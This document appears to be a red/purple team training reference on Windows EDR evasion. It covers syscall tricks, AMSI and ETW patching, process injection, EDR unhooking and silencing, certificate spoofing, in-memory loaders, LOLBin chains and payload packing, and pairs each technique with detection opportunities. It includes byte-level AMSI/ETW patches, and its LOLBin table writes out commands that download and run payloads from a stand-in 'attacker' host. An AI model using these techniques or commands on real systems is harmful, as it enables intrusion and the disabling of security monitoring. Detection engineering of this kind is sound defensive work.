Advanced Evasion Techniques — Deep Technical Reference
Advanced Evasion Techniques — Deep Technical Reference
CIPHER Training Module | Classification: RED/PURPLE Last updated: 2026-03-14 Purpose: Authorized red team operations and detection engineering
Table of Contents
- Direct Syscalls
- AMSI Bypass Methods
- ETW Bypass
- Process Injection Techniques
- EDR Unhooking
- EDR Silencing
- Code Signing Abuse
- In-Memory Execution
- LOLBin Chains
- Multi-Layer Payload Packing
- PowerShell Obfuscation
- BOF-Based Execution
1. Direct Syscalls
Direct syscalls bypass user-mode API hooks by invoking the kernel transition (syscall instruction) directly from attacker-controlled code, skipping the hooked ntdll.dll stubs entirely. This is the foundational technique underlying most modern EDR evasion.
1.1 Hell's Gate
Concept: Dynamically resolve syscall numbers (SSNs) at runtime by parsing ntdll.dll in-memory, searching for the characteristic byte pattern that precedes the syscall instruction in each Nt* function stub.
Mechanism:
- Walk the EAT (Export Address Table) of
ntdll.dllto locate Nt* function addresses - At each function entry, scan for the pattern:
4C 8B D1 B8 XX XX 00 00whereXX XXis the SSN - Extract the SSN from the
mov eax, SSNinstruction - Execute
syscalldirectly with the resolved SSN in EAX
Limitation: Fails when EDR hooks overwrite the function prologue — the expected byte pattern is destroyed.
DETECTION OPPORTUNITY:
- Scan for
syscallinstructions outsidentdll.dllmemory range (RIP validation) - Monitor for processes reading
ntdll.dllexport table viaGetProcAddresspatterns for Nt* functions - ETW thread stack telemetry showing syscall origin outside ntdll
- Kernel callback
PsSetCreateThreadNotifyRoutinefor thread creation with unusual start addresses
1.2 Halo's Gate
Concept: Extension of Hell's Gate that recovers SSNs even when the target function is hooked. When the byte pattern check fails at the target function, Halo's Gate searches neighboring Nt functions* (above and below in memory) to find unhooked stubs, then calculates the target SSN by offset arithmetic.
Mechanism (ref: boku7/AsmHalosGate):
- Attempt Hell's Gate pattern match on target function
- On failure (hook detected), iterate to adjacent Nt* functions:
neighbor_SSN = target_SSN +/- N - Find an unhooked neighbor, extract its SSN
- Calculate:
target_SSN = neighbor_SSN +/- offset - Invoke syscall directly — "the code in ntdll is never executed"
Implementation: x64 assembly integrated with C. The SSN is placed in EAX, arguments in standard x64 calling convention registers, and the syscall instruction executes the transition.
DETECTION OPPORTUNITY:
- Same RIP-based detection as Hell's Gate — syscall from non-ntdll memory
- Memory scanning for
syscall/int 2ehgadgets in non-system modules - Behavioral: process loading ntdll but never calling through it (call stack anomaly)
1.3 SysWhispers (v1)
Concept: Pre-generates version-aware assembly stubs that query the PEB to determine Windows version, then select the correct SSN. Eliminates hardcoded version dependencies.
Mechanism (ref: jthuraisamy/SysWhispers):
- Python generator produces
.asmand.hfiles for requested syscalls - Generated stubs read the PEB to identify OS version at runtime
- One function works across XP through Win10 (build 19042)
- Stubs compile via MASM and integrate into Visual Studio projects
Supported syscalls (~29 common): NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtOpenProcess, NtFreeVirtualMemory, NtCreateSection, NtMapViewOfSection, etc.
Limitation: x64 only. Generated stubs have well-known signatures.
DETECTION OPPORTUNITY:
- Static signatures on generated stub patterns (known byte sequences)
- YARA rules for SysWhispers-specific PEB version resolution code
- Kernel telemetry: syscall origin address not in ntdll range
1.4 SysWhispers3
Concept: Adds multiple invocation strategies to defeat dynamic analysis detecting embedded syscall instructions (ref: klezVirus/SysWhispers3).
Evasion methods:
- Embedded: Standard direct syscall (baseline, most detectable)
- Egg Hunter: Replaces
syscallinstruction with a marker/egg at compile time; at runtime, searches memory for a validsyscallgadget and patches the egg — defeats static pattern scanning - Jumper: Instead of embedding
syscall, locates thesyscallinstruction insidentdll.dlland jumps to it — the RIP at syscall time is inside ntdll, defeating RIP validation - Jumper Randomized: Same as Jumper but randomizes which ntdll syscall gadget is used per invocation — defeats behavioral profiling
Improvements over v2: x86 + x64 + WoW64 support. MSVC-targeted. Supports both syscall and legacy int 2eh.
DETECTION OPPORTUNITY:
- Egg Hunter: monitor for memory scanning patterns (ReadProcessMemory of ntdll)
- Jumper: call stack analysis — the frames before the ntdll syscall gadget will be anomalous (no standard ntdll function prologue)
- Kernel ETW: thread stack walking revealing non-standard call chains
- YARA for SysWhispers3 stub structure even with egg markers
1.5 D/Invoke Syscalls
Concept: Combines .NET dynamic invocation (DInvoke) with direct syscalls. Rather than P/Invoke declarations that are statically visible in metadata, delegates are resolved dynamically and syscalls invoked through runtime-generated stubs.
Mechanism (ref: TheWover/DInvoke):
- Resolves unmanaged functions by name, ordinal, or HMACMD5 hash from PEB
- Manual mapping loads fresh DLL copies bypassing hooks
- Module overloading maps DLLs backed by arbitrary disk files
- Delegate-based invocation — no static P/Invoke signatures in assembly metadata
DETECTION OPPORTUNITY:
- .NET ETW events:
AssemblyLoad,MethodLoadevents for unusual assemblies - CLR profiling: detect manual AppDomain creation and in-memory assembly loading
- Suspicious
NtMapViewOfSectioncalls mapping ntdll from disk (fresh copy pattern) - PE metadata analysis: .NET assembly with no P/Invoke imports but performing syscalls
2. AMSI Bypass Methods
The Antimalware Scan Interface (AMSI) inspects script content (PowerShell, VBScript, JScript, .NET 4.8+ in-memory assemblies) before execution. All bypasses target the amsi.dll loaded into the process.
2.1 AmsiScanBuffer Patch (Memory Patch)
Concept: Overwrite the first bytes of AmsiScanBuffer in amsi.dll to force it to return AMSI_RESULT_CLEAN (value 0) for all scans.
Mechanism:
LoadLibrary("amsi.dll")— ensure it is loadedGetProcAddress(amsi, "AmsiScanBuffer")— locate the functionVirtualProtect— change memory page toPAGE_EXECUTE_READWRITE- Overwrite prologue with:
mov eax, 0x80070057; ret(returnsE_INVALIDARG, causing the caller to treat the scan as clean) - Restore original memory protection
Variants:
- Patch
AmsiOpenSessioninstead (same principle, different function) - Patch the
amsi!AmsiScanBufferconditional jump to always take the clean path - Use
NtWriteVirtualMemoryor direct syscall to avoidWriteProcessMemoryhooks
DETECTION OPPORTUNITY:
- ETW AMSI provider: Monitor for
AmsiScanBufferreturning unexpected error codes across all invocations - Integrity monitoring: Periodic hash comparison of amsi.dll
.textsection in-memory vs on-disk - API call sequence:
LoadLibrary("amsi") -> GetProcAddress("AmsiScanBuffer") -> VirtualProtect(RWX)is a high-fidelity signal - Kernel callback on
amsi.dllmemory page permission changes - Sigma rule: process loading amsi.dll then immediately calling VirtualProtect on its address range
2.2 Reflection-Based Bypass (.NET)
Concept: Use .NET reflection to access the internal AMSI context field and set it to null/zero, disabling AMSI for the current session without patching code bytes.
Mechanism:
- Access
System.Management.Automation.AmsiUtilsvia reflection - Set the
amsiContextfield toIntPtr.Zero - All subsequent AMSI scans fail gracefully (no valid context = no scan)
Variants:
- Set
amsiInitFailedfield totrue— AMSI believes initialization failed - Access via
[Ref].Assembly.GetType()with string obfuscation to evade string-based detection
DETECTION OPPORTUNITY:
- Script block logging (PowerShell 5.0+): patterns accessing
AmsiUtilsoramsiContext - .NET ETW: reflection access to
System.Management.Automationinternal types - Behavioral: PowerShell session where AMSI stops reporting after initial commands
- String detection in script block logs for
amsiInitFailed,amsiContext,AmsiUtils
2.3 CLR Hooking
Concept: Hook the CLR's call to AMSI at a deeper level — intercept the managed-to-native transition where the CLR invokes AmsiScanBuffer.
Mechanism:
- Locate the CLR's internal method that calls AMSI (varies by .NET version)
- Redirect the call to a stub that returns clean
- Works even if amsi.dll integrity monitoring detects patches
DETECTION OPPORTUNITY:
- CLR ETW events for method JIT compilation of suspicious types
- Integrity monitoring of
clr.dll/coreclr.dllin-memory - Behavioral: CLR loading without corresponding AMSI telemetry
2.4 AMSI Provider Deregistration
Concept: Remove the AMSI provider (e.g., Windows Defender's MpOav.dll) from the COM registration, so AMSI has no provider to forward content to.
Mechanism:
- Modify registry:
HKLM\SOFTWARE\Microsoft\AMSI\Providers— remove or rename the provider CLSID - Or: in-memory COM hijacking to redirect the provider CLSID to a benign DLL
DETECTION OPPORTUNITY:
- Registry monitoring: changes to
HKLM\SOFTWARE\Microsoft\AMSI\Providers - Sysmon Event ID 12/13/14 (registry operations on AMSI keys)
- COM object loading telemetry for AMSI-related CLSIDs
2.5 Obfuscation-Based Bypass (Chameleon)
Concept: Rather than disabling AMSI, obfuscate payloads until AMSI signatures no longer match (ref: klezVirus/Chameleon).
Techniques:
- Comment deletion/substitution
- Variable/function/data-type renaming (scope-aware: global, function, parameter)
- String concatenation splitting
- Backtick insertion (
invoke`) - Case randomization
- Base64 and decimal encoding
- Dictionary-based replacement
Validation: Uses AMSITrigger locally to identify exact trigger strings, then obfuscates specifically those — avoids VirusTotal exposure.
DETECTION OPPORTUNITY:
- Behavioral analysis: heavily obfuscated scripts with high entropy
- Script block logging: deobfuscated content visible in PowerShell 5.0+ logs
- AMSI itself when signatures are updated for new obfuscation patterns
- Statistical analysis: unusual character distribution, excessive backtick usage
3. ETW Bypass
Event Tracing for Windows (ETW) provides kernel and user-mode telemetry. EDRs consume ETW events for .NET assembly loads, process creation, network connections, and more. Blinding ETW removes the telemetry source.
3.1 EtwEventWrite Patch
Concept: Patch ntdll!EtwEventWrite to return immediately without logging.
Mechanism:
- Locate
EtwEventWriteinntdll.dll VirtualProtectto make writable- Overwrite prologue with
ret(0xC3) — all ETW events silently dropped - Variant: patch
EtwEventWriteFullandEtwEventWriteExas well
Scope: Per-process. Affects all ETW providers in that process including .NET CLR, Defender, and custom EDR providers.
DETECTION OPPORTUNITY:
- ETW session monitoring: detect processes that stop emitting expected events (gap detection)
- Integrity check:
ntdll.dll.textsection hash comparison - Kernel ETW consumer: monitor for provider dropoff patterns
NtTraceEventkernel-level monitoring (bypass-resistant)- Sigma: process with VirtualProtect calls targeting ntdll memory range
3.2 ETW Provider Patching (NtTraceControl)
Concept: Disable specific ETW providers by patching their registration or the NtTraceControl syscall.
Mechanism:
- Enumerate ETW provider GUIDs
- Patch the provider's
EnableCallbackto null - Or: use
NtTraceControlto disable specific sessions
DETECTION OPPORTUNITY:
- Kernel-mode ETW consumer detecting provider deregistration
- Monitor for
NtTraceControlcalls from non-standard processes - PPL (Protected Process Light) processes that maintain ETW integrity
3.3 ETW Thread Patching (per ScareCrow)
Concept: Flush registers across multiple syscall invocations so ETW buffers return without generating telemetry (ref: optiv/ScareCrow).
Applied by default in ScareCrow loaders: patches ETW in the parent process. Note: does not automatically patch ETW in injected child processes — a detection gap.
DETECTION OPPORTUNITY:
- Thread call stack analysis post-injection
- ETW gap detection: process creates child but child emits zero ETW events
- ScareCrow-specific signatures in loader stub patterns
4. Process Injection Techniques
Process injection executes code in the address space of another process, inheriting its trust level and evading per-process security controls.
4.1 Classic Remote Thread Injection
API chain: OpenProcess -> VirtualAllocEx(MEM_COMMIT|MEM_RESERVE, PAGE_RW) -> WriteProcessMemory -> VirtualProtectEx(PAGE_RX) -> CreateRemoteThread
Variants:
NtCreateThreadExinstead ofCreateRemoteThread(lower-level, fewer hooks)RtlCreateUserThread— undocumented, less monitored- Direct syscall variants of all the above
DETECTION OPPORTUNITY:
- Sysmon Event ID 8 (CreateRemoteThread)
- Cross-process
VirtualAllocEx+WriteProcessMemory+ thread creation pattern - ETW:
Microsoft-Windows-Threat-Intelligenceprovider for remote memory operations - Kernel callback:
PsSetCreateThreadNotifyRoutine - Stack trace on new thread: entry point in RWX or unbacked memory
4.2 APC Injection
Concept: Queue an Asynchronous Procedure Call to a thread in the target process. The APC executes when the thread enters an alertable wait state.
API chain: OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> OpenThread -> QueueUserAPC(shellcode_addr, thread)
Variant — Early Bird: Target a process in suspended state (just created), queue APC to the main thread before it starts. The APC fires during thread initialization before EDR hooks are established.
DETECTION OPPORTUNITY:
- ETW: APC queue events from cross-process context
- Behavioral: process creation in suspended state followed by APC queue followed by resume
- Sysmon Event ID 8 variant detection
- Call stack: APC execution from unbacked/RWX memory
4.3 Process Hollowing
Concept: Create a legitimate process in suspended state, unmap its image, map malicious code in its place, update the thread context (set entry point), and resume.
API chain: CreateProcess(SUSPENDED) -> NtUnmapViewOfSection -> VirtualAllocEx -> WriteProcessMemory -> SetThreadContext(RCX=new_entry) -> ResumeThread
DETECTION OPPORTUNITY:
NtUnmapViewOfSectionof the primary module is extremely suspicious- Image load events: process image on disk doesn't match in-memory
- Memory forensics: PEB.ImageBaseAddress mismatches loaded modules
- Sysmon Event ID 25 (process tampering)
- Behavioral: CreateProcess(SUSPENDED) -> NtUnmapViewOfSection pattern
4.4 Module Stomping / DLL Hollowing
Concept: Load a legitimate DLL, then overwrite its .text section with shellcode. The malicious code appears to execute from a legitimate, signed module.
API chain: LoadLibrary("legitimate.dll") -> parse PE headers for .text section -> VirtualProtect(RWX) -> memcpy shellcode -> VirtualProtect(RX) -> CreateThread at stomped address
Advantage: Shellcode execution address is inside a legitimately loaded, signed DLL — passes many memory scanners.
DETECTION OPPORTUNITY:
- In-memory
.textsection hash doesn't match on-disk version - Unbacked executable memory where a known DLL should be
- Private vs shared memory page analysis (stomped pages become private copies)
- ETW:
ImageLoadfollowed byVirtualProtecton the loaded image's code section
4.5 Thread Execution Hijacking
Concept: Suspend an existing thread, modify its instruction pointer (RIP/EIP) to point to injected shellcode, resume.
API chain: OpenThread -> SuspendThread -> VirtualAllocEx (in target) -> WriteProcessMemory -> GetThreadContext -> modify RIP -> SetThreadContext -> ResumeThread
DETECTION OPPORTUNITY:
SetThreadContextacross process boundaries- Thread suspension followed by context modification
- ETW thread context change events
- Behavioral: target thread's call stack suddenly changes to unbacked memory
4.6 Mapping Injection (NtMapViewOfSection)
Concept: Create a shared section object, map it into both attacker and target process. Write shellcode via local mapping, execute via remote mapping — no WriteProcessMemory needed.
API chain: NtCreateSection(SEC_COMMIT) -> NtMapViewOfSection(local, RW) -> memcpy shellcode to local view -> NtMapViewOfSection(target, RX) -> RtlCreateUserThread(target, remote_view_addr)
Advantage: Avoids WriteProcessMemory — a heavily monitored API.
DETECTION OPPORTUNITY:
- Cross-process
NtMapViewOfSectionwith execute permissions - ETW:
Microsoft-Windows-Threat-IntelligenceVirtualMemory events - Section object creation followed by dual-mapping pattern
- Shared memory regions between unrelated processes
4.7 Atom Bombing
Concept: Abuse the Windows atom table (global string storage) to write data into a target process without WriteProcessMemory. Then use APC to trigger GlobalGetAtomName to copy the data, followed by NtSetContextThread to execute.
DETECTION OPPORTUNITY:
- Unusual atom table write volumes
- APC + atom table access pattern
- ROP chain detection in thread context
4.8 Process Doppelganging
Concept: Abuse NTFS transactions to create a process from a file that was never actually committed to disk.
API chain: NtCreateTransaction -> CreateFileTransacted (write malicious PE) -> NtCreateSection (from transacted file) -> RollbackTransaction (file disappears) -> NtCreateProcessEx (from section) -> NtCreateThreadEx
DETECTION OPPORTUNITY:
- NTFS transaction usage by non-standard processes
NtCreateProcessExfrom a section not backed by an existing file- Kernel callback: process creation with no corresponding file on disk
- ETW FileIO events showing transacted file operations
4.9 Process Herpaderping
Concept: Create a process from a file, then modify the file on disk before the kernel finishes reading it for signature/hash validation. The process runs malicious code but the file on disk appears legitimate.
DETECTION OPPORTUNITY:
- File modification between
NtCreateSectionandNtCreateProcessEx - Hash mismatch: file hash at process creation time vs current file hash
- Behavioral: rapid file write -> section create -> file overwrite pattern
4.10 Phantom DLL Hollowing
Concept: Combine DLL hollowing with deletion-pending state. Load a DLL, put the file in delete-pending state (opened with FILE_FLAG_DELETE_ON_CLOSE), then stomp the .text section. The backing file is effectively gone, complicating forensic analysis.
DETECTION OPPORTUNITY:
- File opened with
FILE_FLAG_DELETE_ON_CLOSEfollowed by section mapping - DLL load events where the backing file no longer exists
- Private memory pages in what should be a shared DLL mapping
4.11 ScareCrow Process Injection
Concept (ref: optiv/ScareCrow): Unhooks the loader process, spawns target, enumerates loaded DLLs in target, retrieves their base addresses, uses WriteProcessMemory to overwrite disk-based (clean) DLL copies into the remote process — unhooking the target before injecting shellcode.
DETECTION OPPORTUNITY:
- Multiple
WriteProcessMemorycalls targeting known DLL base addresses - Behavioral: process spawn -> DLL enumeration -> bulk memory writes -> code injection
- Cross-process memory writes to ntdll/kernel32 address ranges
5. EDR Unhooking
EDRs place inline hooks (JMP/detour instructions) at the beginning of sensitive ntdll.dll functions. Unhooking restores the original bytes.
5.1 Full ntdll Refresh (Disk Read)
Concept: Read clean ntdll.dll from C:\Windows\System32\, extract the .text section, overwrite the hooked in-memory copy.
Mechanism (ref: optiv/ScareCrow):
CreateFileMapping+MapViewOfFileonC:\Windows\System32\ntdll.dll- Parse PE headers to locate
.textsection offset and size VirtualProtecton in-memory ntdll.texttoPAGE_EXECUTE_READWRITEmemcpyclean.textover hooked.text- Restore
PAGE_EXECUTE_READ
DETECTION OPPORTUNITY:
- File access: read of
ntdll.dllfrom System32 by non-system process VirtualProtecton ntdll memory range (highly anomalous)- EDR self-integrity check: hooks disappearing mid-session
- Sysmon Event ID 7 (Image Load) for secondary ntdll loads
- Minifilter detection of ntdll file reads
5.2 KnownDLLs Unhooking
Concept: Map a fresh ntdll copy from \KnownDlls\ntdll.dll (object manager namespace) using NtOpenSection + NtMapViewOfSection. These cached copies are maintained by the kernel and are unhooked.
Advantage: Uses lower-level APIs (NtOpenSection) that may themselves be unhooked or invoked via syscall.
DETECTION OPPORTUNITY:
NtOpenSectionon\KnownDlls\ntdll.dll— unusual for application code- Multiple ntdll mappings in process memory
- Indirect syscall patterns used to call
NtOpenSection
5.3 Suspended Process Unhooking
Concept: Spawn a sacrificial process in suspended state. EDR hooks haven't been applied yet (some EDRs hook during DLL load callbacks, which fire after resume). Read ntdll .text from the suspended process. Terminate the sacrificial process.
Advantage: Gets a truly clean copy without touching disk.
DETECTION OPPORTUNITY:
- Process creation in suspended state followed by cross-process memory read followed by immediate termination
- Very short-lived processes (< 1 second)
ReadProcessMemorytargeting ntdll in a suspended child
5.4 IAT Unhooking
Concept: Some EDRs modify the Import Address Table rather than inline hooking. Restore original IAT entries by resolving correct function addresses from a clean ntdll (ref: Mr-Un1k0d3r/EDRs).
DETECTION OPPORTUNITY:
- IAT modification events
- Process with IAT entries that don't point to expected module addresses then suddenly revert
5.5 Kernel-Level Hooks (Limitation)
Modern EDRs (CrowdStrike, Cortex XDR) increasingly use kernel callbacks and minifilters rather than user-mode hooks. These CANNOT be unhooked from user mode (ref: Mr-Un1k0d3r/EDRs):
PsSetCreateProcessNotifyRoutine— process creationPsSetCreateThreadNotifyRoutine— thread creationPsSetLoadImageNotifyRoutine— image/DLL loadingObRegisterCallbacks— handle operationsCmRegisterCallbackEx— registry operations- Minifilter drivers — file system operations
Implication: User-mode unhooking alone is insufficient against advanced EDRs. Must combine with other techniques (direct syscalls, kernel exploitation, or driver-based approaches).
6. EDR Silencing
6.1 WFP-Based Network Blocking (EDRSilencer)
Concept: Use Windows Filtering Platform (WFP) to create network filters that block EDR processes from communicating with their cloud backends (ref: netero1010/EDRSilencer).
Mechanism:
- Auto-detect running EDR processes (supports 16+ products including Defender, CrowdStrike, SentinelOne, Cortex XDR, Carbon Black, Elastic, etc.)
- Create WFP filters blocking IPv4 and IPv6 outbound traffic from detected processes
- Custom
FwpmGetAppIdFromFileName0implementation that constructs app IDs without callingCreateFileW— bypasses EDR minifilter file access restrictions
Operational modes: blockedr (auto), block (specific PID/path), unblockall, unblock (specific filter ID)
Effect: EDR continues to run (no tampering alerts) but cannot send telemetry, alerts, or receive policy updates.
DETECTION OPPORTUNITY:
- WFP filter creation events (ETW
Microsoft-Windows-WFPprovider) - WFP audit logging: new persistent filters targeting security product executables
- Behavioral: EDR process running but cloud connectivity lost
- WFP filter enumeration (defender can periodically check for rogue filters)
- Service health monitoring: EDR backend detects agent going silent
- Sysmon network events: absence of expected EDR heartbeat traffic
6.2 Firewall Rule Manipulation
Concept: Use netsh advfirewall or COM interfaces to add outbound deny rules for EDR executables.
DETECTION OPPORTUNITY:
- Firewall rule change events (Event ID 2004, 2006)
- Sysmon Event ID 1:
netsh.exewith firewall modification arguments
7. Code Signing Abuse
7.1 Certificate Cloning / Spoofing (Limelighter)
Concept: Generate fake code-signing certificates mimicking legitimate vendors, or clone certificate metadata from legitimate signed binaries (ref: Tylous/Limelighter).
Mechanisms:
- Fake cert generation: Specify a domain (e.g.,
microsoft.com) to generate a self-signed certificate with spoofed subject/issuer fields. Creates PFX12 files for signing. - Certificate cloning (
-clone): Copy signing date, countersignatures, certificate chain attributes, and other measurable properties from a legitimately signed file. - Signing: Apply generated/cloned certificate to unsigned EXEs and DLLs using
osslsigncode.
OpSec note: Signing with microsoft.com is ineffective against Defender ATP which validates certificate chain trust. Use domains of less-scrutinized software vendors.
ScareCrow integration: ScareCrow includes a Go reimplementation of Limelighter. Accepts domain input or -clone flag to clone from legitimate files.
DETECTION OPPORTUNITY:
- Certificate validation: verify full chain of trust, not just subject name
- Untrusted root CA detection: spoofed certs won't chain to trusted roots
- Sigma: Sysmon Event ID 7 (Image Load) with signature status = Invalid/Untrusted
- Code integrity policies: enforce that only trusted-root-signed binaries load
- Behavioral: unsigned/self-signed binary executing from unusual path
- Certificate transparency log monitoring for spoofed domain certificates
7.2 Timestomping Certificates
Concept: Clone the signing timestamp from a legitimate binary to make the malicious binary appear to have been signed at a credible time.
DETECTION OPPORTUNITY:
- Timestamp server verification: contact the timestamping authority to validate
- Certificate serial number / thumbprint lookup against known-good lists
8. In-Memory Execution
8.1 Shellcode Generation (Donut)
Concept: Convert .NET assemblies, PE executables, VBS/JS scripts into position-independent shellcode for in-memory execution (ref: TheWover/donut).
Mechanism:
- Generator: Compress input (aPLib / LZNT1 / Xpress), encrypt with Chaskey 128-bit cipher, embed in loader template
- Loader (position-independent shellcode):
- For .NET: hosts CLR via Unmanaged CLR Hosting API, creates isolated AppDomain, loads assembly via
AppDomain.Load_3, invokes entry point - For native PE: custom loader with relocation, delayed imports, TLS support
- For scripts: IActiveScript interface with WSH compatibility
- For .NET: hosts CLR via Unmanaged CLR Hosting API, creates isolated AppDomain, loads assembly via
Evasion features:
- AMSI + WLDP bypass (patching before execution)
- ETW bypass (XPN technique)
- PE header overwrite or decoy header replacement (defeats disk-memory comparison)
- Command line patching (hides true arguments)
- Output formats: raw, Base64, C array, PowerShell, hex
DETECTION OPPORTUNITY:
- CLR loading in processes that don't normally use .NET (e.g., notepad.exe)
- ETW:
Microsoft-Windows-DotNETRuntimeAssemblyLoad events for unnamed/in-memory assemblies - Memory scanning for Donut loader signatures
- Behavioral: process loading
clr.dll+mscoree.dllwithout corresponding .NET EXE on disk - WLDP policy bypass attempts
- Large RWX memory allocations followed by CLR initialization
8.2 DarkLoadLibrary (In-Memory DLL Loading)
Concept: Custom PE loader that loads DLLs entirely in memory, bypassing LoadLibrary and associated kernel callbacks (ref: bats3c/DarkLoadLibrary).
Loading modes:
LOAD_LOCAL_FILE: Load from disk path (still avoids kernel callbacks by manual parsing)LOAD_MEMORY: Load from memory buffer — no disk touchNO_LINK: Execute without PEB registration — invisible toEnumProcessModulesand similar enumeration
Mechanism: Manual PE parsing, import resolution, relocation fixing, entry point execution — all without LdrLoadDll or NtCreateSection for the target DLL.
DETECTION OPPORTUNITY:
- Memory scanning: executable memory regions not backed by any file (unbacked RX/RWX)
- PEB inconsistency: code executing from memory not listed in PEB's
InMemoryOrderModuleList - ETW gap: no
ImageLoadevent for a module that is clearly executing - Thread start address in unbacked memory region
- Behavioral: process with active threads in memory not corresponding to any loaded module
8.3 BOF.NET (In-Process .NET Execution)
Concept: Load and execute .NET assemblies as Beacon Object Files within the Cobalt Strike Beacon process (ref: CCob/BOF.NET).
Mechanism:
bofnet_init: Initialize .NET CLR within Beacon- Create isolated AppDomain for assembly hosting
- Chunked assembly loading (supports > 1MB assemblies)
- Custom
BeaconObjectclasses withGo()entry point - Assemblies persist in memory for subsequent executions
Evasion: No fork-and-run (no child process creation). Custom implementations of screen capture, keylogging, file ops replace signatured built-in commands.
DETECTION OPPORTUNITY:
- CLR initialization in unexpected processes
- .NET ETW: AppDomain creation, assembly loads without file backing
- Named pipe patterns associated with Cobalt Strike
- Memory scanning for
BOFNET.Runtimestrings
8.4 Reflective DLL Injection
Concept: DLL contains its own loader in an exported function. Injected into target process as raw bytes, then a bootstrap stub calls the reflective loader which resolves imports, performs relocations, and calls DllMain — all without touching the Windows loader.
DETECTION OPPORTUNITY:
ReflectiveLoaderexport name (though customizable)- MZ/PE headers in non-image memory regions
- Thread creation in unbacked executable memory
- ETW: no corresponding
ImageLoadfor active code
9. LOLBin Chains
Living-off-the-Land Binaries (LOLBins) are legitimate, signed Microsoft binaries abused for execution, download, or bypass. Chaining multiple LOLBins increases evasion.
9.1 Execution Chains
| Chain | Mechanism | ATT&CK |
|---|---|---|
mshta.exe -> wscript -> powershell |
HTA downloads/executes script that spawns PowerShell | T1218.005 -> T1059.005 -> T1059.001 |
certutil -urlcache -f URL payload.exe && payload.exe |
Download + execute via certificate utility | T1105 -> T1204.002 |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" |
JavaScript execution via rundll32 | T1218.011 |
msiexec /q /i http://attacker/payload.msi |
Silent install from remote MSI | T1218.007 |
regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll |
Squiblydoo — scriptlet execution | T1218.010 |
bitsadmin /transfer job http://attacker/payload %temp%\p.exe |
BITS download + execute | T1197 |
wmic process call create "cmd /c payload.exe" |
Process creation via WMI | T1047 |
forfiles /p c:\windows /m notepad.exe /c payload.exe |
Indirect execution via forfiles | T1202 |
pcalua.exe -a payload.exe |
Program Compatibility Assistant execution | T1202 |
9.2 ScareCrow LOLBin Loaders
ScareCrow generates these LOLBin-based loaders (ref: optiv/ScareCrow):
- Control Panel (.cpl): Spawns
rundll32.exeto load the CPL - WScript: Manifest-based registration-free COM for DLL sideloading
- Excel (XLL): Loads into hidden Excel process
- MSIExec: Hidden MSI installer process
9.3 DLL Sideloading Chains
Concept: Place a malicious DLL alongside a legitimate signed EXE that loads it by name (DLL search order hijacking).
Common targets: Teams, Slack, OneDrive, Visual Studio components — any signed EXE that loads a non-SxS DLL without full path.
DETECTION OPPORTUNITY (all LOLBin techniques):
- Sysmon Event ID 1: unusual parent-child process relationships
- Command line logging: suspicious arguments to LOLBins
- Behavioral: LOLBin executing from non-standard directory
- Network connections from LOLBins (certutil, bitsadmin, mshta connecting outbound)
- Sigma rules: extensive LOLBin coverage in SigmaHQ repository
- Module load events: DLL loads from unexpected paths alongside signed EXEs
- Application whitelisting / WDAC policies: restrict LOLBin execution
- Process lineage: LOLBin chains produce distinctive parent-child trees
10. Multi-Layer Payload Packing
10.1 ProtectMyTooling Pipeline
Concept: Chain multiple packers/obfuscators sequentially — each stage's output feeds the next (ref: mgeeky/ProtectMyTooling).
Example: callobf,hyperion,upx produces UPX(Hyperion(CallObf(input)))
Supported packers (32+):
- PE protectors: Hyperion (runtime encryption), Enigma, Themida (VM-based), VMProtect, UPX, MPRESS
- Shellcode converters: Donut, Amber, pe2shc, ScareCrow
- Shellcode encoders: SGN (Shikata Ga-Nai — polymorphic XOR), sRDI
- .NET obfuscators: ConfuserEx, LoGiC.NET, AsStrongAsFuck, .NET Reactor, SmartAssembly
- Specialized loaders: Nimcrypt2, NimPackt, NimSyscallPacker, Freeze
Watermarking (RedWatermarker): Track artifacts through engagement:
- DOS stub text injection
- PE checksum modification
- Overlay data appending
- Custom PE section creation
- All artifacts tracked with MD5/SHA1/SHA256 + IMPHASH per stage
PE Backdooring (RedBackdoorer): Inject shellcode into legitimate PEs before applying packer chains.
DETECTION OPPORTUNITY:
- Entropy analysis: heavily packed binaries have near-maximum entropy
- Packer signature detection: YARA rules for known packer stubs (UPX, Themida, Hyperion)
- Import table analysis: packed binaries have minimal/suspicious imports
- Section name anomalies: non-standard section names from packers
- Behavioral: unpacking stub performing VirtualAlloc(RWX) -> memcpy -> jump pattern
- PE anomalies: section with both writable and executable flags, unusual entry point location
- IMPHASH tracking: known-bad import hash values across campaigns
11. PowerShell Obfuscation
11.1 Chameleon Techniques (ref: klezVirus/Chameleon)
Scope-aware obfuscation: Distinguishes global scope, function scope, and parameter blocks to avoid breaking function signatures during variable renaming.
Technique layers:
- Comment stripping: Remove all comments (block and inline)
- String substitution: Rename variables, functions, data types with random or dictionary-based names
- Variable concatenation: Split identifiers across concatenation operators
- Indentation randomization: Alter whitespace patterns to defeat formatting-based signatures
- Backtick insertion: PowerShell escape character inserted semi-randomly (
`Inv`ok`e ``) - Case randomization:
InVoKe-ExPrEsSiOn - Encoding: Base64 wrap, decimal encoding, or hybrid
In-memory operation: Unlike Chimera (file I/O per step), Chameleon operates entirely in memory — faster and no disk artifacts.
DETECTION OPPORTUNITY:
- Script Block Logging (Event ID 4104): captures deobfuscated content
- Module Logging (Event ID 4103): captures pipeline execution
- Transcription logging: full session capture
- Statistical analysis: character frequency, entropy, backtick density
- AMSI (when not bypassed): scans deobfuscated content before execution
- Behavioral:
Invoke-Expression,iex,[ScriptBlock]::Create()usage patterns
12. BOF-Based Execution
12.1 Beacon Object Files (BOFs)
Concept: Small compiled C programs loaded directly into the Beacon process, executing in-process without fork-and-run (ref: trustedsec/CS-Situational-Awareness-BOF).
Advantages over fork-and-run:
- No child process creation (avoids
CreateProcessmonitoring) - No cross-process injection (avoids
WriteProcessMemory/CreateRemoteThread) - Smaller memory footprint
- Faster execution
CS-SA-BOF collection (70+ BOFs): ipconfig, netstat, arp, tasklist, ldapsearch, whoami, reg_query, schtasksenum, adcs_enum, get_password_policy, list_firewall_rules, etc.
API diversity: Uses COM objects, NetApi32, LDAP, WMI — diversifying API patterns to avoid single-API detection rules.
12.2 BOF.NET
Concept: Extends BOF capability to .NET assemblies. Loads CLR into Beacon, creates AppDomain, executes .NET tools without disk staging or fork-and-run (ref: CCob/BOF.NET).
DETECTION OPPORTUNITY (BOFs):
- Memory scanning: BOF code in Beacon process memory
- API call patterns: reconnaissance commands from unexpected processes
